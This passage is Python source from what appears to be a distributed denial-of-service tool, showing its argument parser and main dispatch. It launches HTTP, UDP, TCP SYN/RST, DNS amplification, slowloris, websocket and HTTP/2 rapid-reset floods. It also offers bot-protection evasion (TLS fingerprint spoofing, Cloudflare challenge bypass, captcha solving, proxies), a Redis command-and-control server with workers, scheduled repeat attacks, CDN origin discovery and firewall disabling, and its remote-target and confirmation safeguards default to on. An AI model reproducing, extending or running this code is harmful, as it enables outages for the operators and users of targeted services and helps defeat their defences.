parser.add_argument("--mode", choices=["http", "http-app", "tcp", "slow-http", "slowloris", "xmlrpc", "udp-frag", "udp-flood", "dns-amplification", "tcp-rst", "async-http", "port-scan", "rotating-targets", "tcp-syn", "mine", "vse", "udp-random", "websocket-flood", "h2-rapid-reset", "async-slowloris", "multiprocess"], default="http", help="Attack mode.")
parser.add_argument("--target", default="http://127.0.0.1:8000", help="Target URL.")
parser.add_argument("--host", default="127.0.0.1", help="Target host for TCP/UDP.")
parser.add_argument("--port", type=int, default=80, help="Target port.")
parser.add_argument("--method", choices=["GET", "POST"], default="GET", help="HTTP method.")
parser.add_argument("--payload", default="message=payload", help="POST data payload.")
parser.add_argument("--requests", type=int, default=100000, help="Number of requests.")
parser.add_argument("--connections", type=int, default=10000, help="Number of TCP connections.")
parser.add_argument("--workers", type=int, default=500, help="Concurrent threads/coroutines.")
parser.add_argument("--rate", type=float, default=0.0, help="Requests/s (0 = unlimited).")
parser.add_argument("--duration", type=float, default=0.0, help="Run for N seconds (0 = use --requests count).")
parser.add_argument("--send-payload", action="store_true", help="Send payload after TCP connect.")
parser.add_argument("--extra-headers", action="store_true", default=True, help="Add extra HTTP headers.")
parser.add_argument("--use-playwright", action="store_true", help="Playwright browser headers.")
parser.add_argument("--keepalive", action="store_true", default=True, help="HTTP keep-alive.")
parser.add_argument("--random-query", action="store_true", default=True, help="Random query params.")
parser.add_argument("--allow-remote", action="store_true", default=True, help="Allow remote targets.")
parser.add_argument("--log", default="", help="Log file path.")
parser.add_argument("--confirm", action="store_true", default=True, help="Auto-confirmed.")
parser.add_argument("--start-local-server", action="store_true", help="Start local HTTP server.")
parser.add_argument("--xmlrpc-server", action="store_true", help="Start local XML-RPC server.")
parser.add_argument("--udp-packet-size", type=int, default=1400, help="UDP packet size (max MTU).")
parser.add_argument("--slow-chunk-size", type=int, default=1, help="Chunk size for slow HTTP.")
parser.add_argument("--slow-chunk-delay", type=float, default=10.0, help="Delay between chunks.")
parser.add_argument("--tcp-rst-count", type=int, default=50000, help="TCP reset attempts.")
parser.add_argument("--use-identities", action="store_true", help="Use identity pools to maintain cookie sessions and header consistency.")
parser.add_argument("--geo", choices=list(GEO_PROFILES.keys()), default="default", help="Geo-target for language/timezone consistency.")
parser.add_argument("--proxies", help="Path to text file containing proxies (one per line).")
parser.add_argument("--human-timing", action="store_true", help="Use human-like entropy timing (Pareto/Gaussian distributions) instead of fixed rates.")
parser.add_argument("--use-cffi", action="store_true", help="Use curl_cffi for browser TLS fingerprint spoofing (JA3 evasion).")
parser.add_argument("--js-bypass", action="store_true", help="Use Playwright stealth to solve Cloudflare/JS challenges and extract clearance cookies.")
parser.add_argument("--no-honeypots", action="store_true", help="Do not click/request hidden CSS elements (Honeypot evasion).")
parser.add_argument("--tcp-spoof", action="store_true", help="Use Scapy to spoof TCP/IP OS fingerprints (requires Admin/Root).")
parser.add_argument("--ai-payload", action="store_true", help="Dynamically generate realistic, random JSON POST payloads for every request.")
parser.add_argument("--captcha-key", default="", help="2Captcha API Key for automated image captcha solving.")
parser.add_argument("--start-c2", action="store_true", help="Start C2 controller server.")
parser.add_argument("--c2-server", default="127.0.0.1", help="C2 Redis hostname.")
parser.add_argument("--c2-port", type=int, default=6379, help="C2 Redis port.")
parser.add_argument("--worker", action="store_true", help="Run in worker mode and connect to the C2 server.")
parser.add_argument("--schedule", default="", help="Schedule attack time (YYYY-MM-DD HH:MM).")
parser.add_argument("--repeat", choices=["none", "hourly", "daily", "weekly"], default="none", help="Repeat schedule.")
parser.add_argument("--batch-file", default="", help="Load multiple targets from a file (one per line).")
parser.add_argument("--api-server", action="store_true", help="Start REST API server on port 8080.")
parser.add_argument("--disable-firewall", action="store_true", help="Attempt to disable local firewall with consent.")
parser.add_argument("--origin-hunt", action="store_true", help="Run origin IP discovery for a CDN-protected target.")
return parser.parse_args()
def log_error(logger: logging.Logger, error_msg: str, exception: Exception = None):
if exception:
logger.error(f"{error_msg}: {str(exception)}", exc_info=True)
else:
logger.error(error_msg)
def configure_logger(log_path: str | None) -> logging.Logger:
logger = logging.getLogger("power_attack")
logger.setLevel(logging.DEBUG)
logger.handlers = []
if not log_path:
log_path = os.path.join(os.path.expanduser("~"), "ddos_attack_log.txt")
try:
file_handler = logging.FileHandler(log_path, encoding="utf-8", mode="a")
file_handler.setLevel(logging.DEBUG)
file_formatter = logging.Formatter(
"%(asctime)s | %(levelname)-8s | %(funcName)s:%(lineno)d | %(message)s",
datefmt="%Y-%m-%d %H:%M:%S"
)
file_handler.setFormatter(file_formatter)
logger.addHandler(file_handler)
print(f"[*] Logging to: {log_path}")
except Exception as e:
print(f"[!] Failed to create log file: {e}")
console_handler = logging.StreamHandler(sys.stdout)
console_handler.setLevel(logging.INFO)
console_formatter = logging.Formatter("%(asctime)s %(levelname)s %(message)s")
console_handler.setFormatter(console_formatter)
logger.addHandler(console_handler)
return logger
# ============================================================================
# MAIN (يدعم CLI و GUI)
# ============================================================================
def main():
if len(sys.argv) > 1:
args = parse_args()
logger = configure_logger(args.log if args.log else None)
server = None
xmlrpc_server = None
if args.start_local_server and args.mode in {"http", "http-app"}:
server = start_local_http_server(args.port)
time.sleep(0.5)
if args.xmlrpc_server and args.mode == "xmlrpc":
xmlrpc_server = start_local_xmlrpc_server(args.port)
time.sleep(0.5)
controller = None
if args.start_c2:
controller = start_c2_server(host=args.c2_server, port=args.c2_port, logger=logger)
if args.api_server:
if controller is None:
controller = DistributedController(redis_host=args.c2_server, redis_port=args.c2_port, logger=logger)
start_api_server(controller, host="0.0.0.0", port=8080)
logger.info("[API] REST API server started on http://0.0.0.0:8080")
if args.worker:
run_worker_loop(args, logger)
return
batch_targets = load_targets_from_file(args.batch_file) if args.batch_file else []
if args.disable_firewall:
if platform.system() == "Windows":
if disable_windows_firewall():
logger.info("[Firewall] Windows firewall disabled.")
else:
logger.warning("[Firewall] Failed to disable Windows firewall.")
else:
if disable_linux_iptables():
logger.info("[Firewall] Linux iptables flush completed.")
else:
logger.warning("[Firewall] Failed to flush Linux iptables.")
if args.origin_hunt:
parsed = urllib.parse.urlparse(args.target)
hostname = parsed.hostname or args.target
results = find_origin_ip(hostname)
logger.info(f"[Origin Hunt] Discovered origin candidates: {results}")
if args.schedule:
if controller is None:
controller = DistributedController(redis_host=args.c2_server, redis_port=args.c2_port, logger=logger)
if controller.connected:
try:
iso = schedule_attack(controller, args.target, args.mode, args.schedule, args.duration, args.requests, args.repeat)
logger.info(f"[Schedule] Attack scheduled at {iso} (repeat={args.repeat})")
except Exception as exc:
logger.error(f"[Schedule] Failed to schedule attack: {exc}")
else:
try:
schedule_time = datetime.datetime.strptime(args.schedule, "%Y-%m-%d %H:%M")
delay = max(0, (schedule_time - datetime.datetime.now()).total_seconds())
def local_job():
if args.mode == "rotating-targets":
targets = batch_targets or [args.target]
for t in targets:
http_flood(
url=t,
total_requests=args.requests,
workers=args.workers,
method=args.method,
payload=args.payload,
rate=args.rate if args.rate > 0 else 0,
duration=args.duration if args.duration > 0 else None,
extra_headers=args.extra_headers,
use_playwright=args.use_playwright,
keepalive=args.keepalive,
random_query=args.random_query,
app_mode=False,
logger=logger,
identity_pool=None,
human_timing=args.human_timing,
use_cffi=args.use_cffi,
tcp_spoof=args.tcp_spoof,
ai_payload=args.ai_payload
)
elif args.mode == "port-scan":
open_ports = scan_ports(args.target, [80, 443, 8080, 8443])
logger.info(f"[Port Scan] Open ports: {open_ports}")
else:
logger.info("[Schedule] Running scheduled attack.")
# rely on the existing main logic below by invoking `main` recursively is unsafe
pass
threading.Timer(delay, local_job).start()
logger.info(f"[Schedule] Local attack scheduled at {schedule_time.isoformat()}")
except Exception as exc:
logger.error(f"[Schedule] Invalid schedule: {exc}")
if args.batch_file and args.mode == "rotating-targets":
if batch_targets:
args.target = batch_targets[0]
logger.info(f"[Batch] Loaded {len(batch_targets)} rotation targets.")
else:
logger.warning(f"[Batch] No targets loaded from {args.batch_file}.")
if args.mode == "async-http":
identity_pool = None
if args.use_identities or args.proxies or args.use_cffi:
proxies = load_proxy_list(args.proxies) if args.proxies else []
identity_pool = IdentityPool(geo=args.geo, proxies=proxies, target_url=args.target)
if getattr(args, 'ai_payload', False):
AIPayloadGenerator.learn_from_target(args.target)
print_evasion_report(
identity_pool=identity_pool,
use_tcp_spoof=getattr(args, 'tcp_spoof', False),
use_cffi=args.use_cffi,
use_playwright=args.use_playwright
)
result = async_http_flood(
url=args.target,
total_requests=args.requests,
concurrency=args.workers,
method=args.method,
payload=args.payload,
duration=args.duration if args.duration > 0 else None,
identity_pool=identity_pool,
random_query=args.random_query,
app_mode=False,
ai_payload=getattr(args, 'ai_payload', False),
)
if not result:
args.mode = "http"
if args.mode in {"http", "http-app"}:
total_requests = args.requests if args.requests > 0 else 0
duration = args.duration if args.duration > 0 else None
rate = args.rate if args.rate > 0 else None
if args.use_playwright and not PLAYWRIGHT_AVAILABLE:
print("Warning: Playwright not installed; ignored.")
if args.use_cffi and not CURL_CFFI_AVAILABLE:
print("Warning: curl_cffi not installed; ignored. (pip install curl_cffi)")
identity_pool = None
if args.use_identities or args.proxies or args.use_cffi or args.js_bypass:
proxies = load_proxy_list(args.proxies) if args.proxies else []
identity_pool = IdentityPool(geo=args.geo, proxies=proxies, use_js_bypass=args.js_bypass, target_url=args.target)
print_evasion_report(
identity_pool=identity_pool,
use_tcp_spoof=getattr(args, 'tcp_spoof', False),
use_cffi=args.use_cffi,
use_playwright=args.use_playwright
)
http_flood(
url=args.target,
total_requests=total_requests,
workers=args.workers,
method=args.method,
payload=args.payload,
rate=rate,
duration=duration,
extra_headers=args.extra_headers,
use_playwright=args.use_playwright,
keepalive=args.keepalive,
random_query=args.random_query,
app_mode=args.mode == "http-app",
logger=logger,
identity_pool=identity_pool,
human_timing=args.human_timing,
use_cffi=args.use_cffi,
tcp_spoof=getattr(args, 'tcp_spoof', False),
ai_payload=getattr(args, 'ai_payload', False),
use_js_bypass=args.js_bypass
)
elif args.mode == "slow-http":
count = args.requests if args.requests > 0 else int(args.rate * args.duration) if args.duration > 0 and args.rate > 0 else 10
for _ in range(count):
status, elapsed = slow_http_post_request(args.target, args.payload, args.slow_chunk_size, args.slow_chunk_delay, args.extra_headers)
print(f"Slow HTTP POST: {status} ({elapsed:.2f}s)")
elif args.mode == "async-http":
total_requests = args.requests if args.requests > 0 else 0
duration = args.duration if args.duration > 0 else None
rate = args.rate if args.rate > 0 else None
if not HTTPX_AVAILABLE:
print("Warning: httpx not installed; async HTTP mode may have reduced compatibility.")
identity_pool = None
if args.use_identities or args.proxies or args.use_cffi or args.js_bypass:
proxies = load_proxy_list(args.proxies) if args.proxies else []
identity_pool = IdentityPool(geo=args.geo, proxies=proxies, use_js_bypass=args.js_bypass, target_url=args.target)
print_evasion_report(
identity_pool=identity_pool,
use_tcp_spoof=getattr(args, 'tcp_spoof', False),
use_cffi=args.use_cffi,
use_playwright=args.use_playwright
)
async_http_flood(
url=args.target,
total_requests=total_requests,
concurrency=args.workers,
method=args.method,
payload=args.payload,
duration=duration,
identity_pool=identity_pool,
random_query=args.random_query,
app_mode=False,
ai_payload=getattr(args, 'ai_payload', False),
use_js_bypass=args.js_bypass
)
elif args.mode == "slowloris":
duration = args.duration if args.duration > 0 else None
rate = args.rate if args.rate > 0 else None
slowloris_attack(args.host, args.port, args.connections, rate, duration, logger)
elif args.mode == "xmlrpc":
status, elapsed = xmlrpc_request(args.target, "http://127.0.0.1/source", args.extra_headers)
print(f"XML-RPC result: {status} ({elapsed:.2f}s)")
elif args.mode == "udp-frag":
duration = args.duration if args.duration > 0 else None
rate = args.rate if args.rate > 0 else None
udp_fragment_flood(args.host, args.port, args.requests, args.udp_packet_size, rate, duration, logger)
elif args.mode == "udp-flood":
duration = args.duration if args.duration > 0 else None
rate = args.rate if args.rate > 0 else None
udp_flood(args.host, args.port, args.requests, args.udp_packet_size, rate, duration, logger)
elif args.mode == "dns-amplification":
count = args.requests if args.requests > 0 else 1000
dns_amplification_attack(args.host, 53, count)
elif args.mode == "tcp-rst":
duration = args.duration if args.duration > 0 else None
rate = args.rate if args.rate > 0 else None
tcp_rst_attack(args.host, args.port, args.tcp_rst_count, rate, duration, logger)
elif args.mode == "tcp":
total_connections = args.connections if args.connections > 0 else 0
duration = args.duration if args.duration > 0 else None
rate = args.rate if args.rate > 0 else None
tcp_connection_flood(args.host, args.port, total_connections, args.workers, args.send_payload, rate, duration, logger)
elif args.mode == "tcp-syn":
runflooder(args.host, args.port, args.workers, args.duration if args.duration > 0 else 30)
elif args.mode == "mine":
runmine(args.host, args.port, args.workers, args.duration if args.duration > 0 else 30)
elif args.mode == "vse":
runvse(args.host, args.port, args.workers, args.duration if args.duration > 0 else 30)
elif args.mode == "udp-random":
runsender(args.host, args.port, args.workers, args.duration if args.duration > 0 else 30)
elif args.mode == "websocket-flood":
duration = args.duration if args.duration > 0 else 60
asyncio.run(websocket_flood(args.target, connections=args.workers, duration=duration))
elif args.mode == "h2-rapid-reset":
duration = args.duration if args.duration > 0 else 60
asyncio.run(h2_rapid_reset_attack(args.target, streams_per_connection=100, connections=args.workers, duration=duration))
elif args.mode == "async-slowloris":
duration = args.duration if args.duration > 0 else 300
asyncio.run(async_slowloris_attack(args.host, port=args.port, connections=args.workers, duration=duration))
elif args.mode == "multiprocess":
duration = args.duration if args.duration > 0 else 60
multiprocess_attack_launcher(
target=args.target, total_workers=args.workers, duration=duration,
attack_kwargs={"target": args.target}
)
if server:
server.shutdown()
print("Local HTTP server stopped.")
if xmlrpc_server:
xmlrpc_server.shutdown()
print("Local XML-RPC server stopped.")
else:
gui = UltimateIntegratedGUI()
gui.run()
if __name__ == "__main__":
main()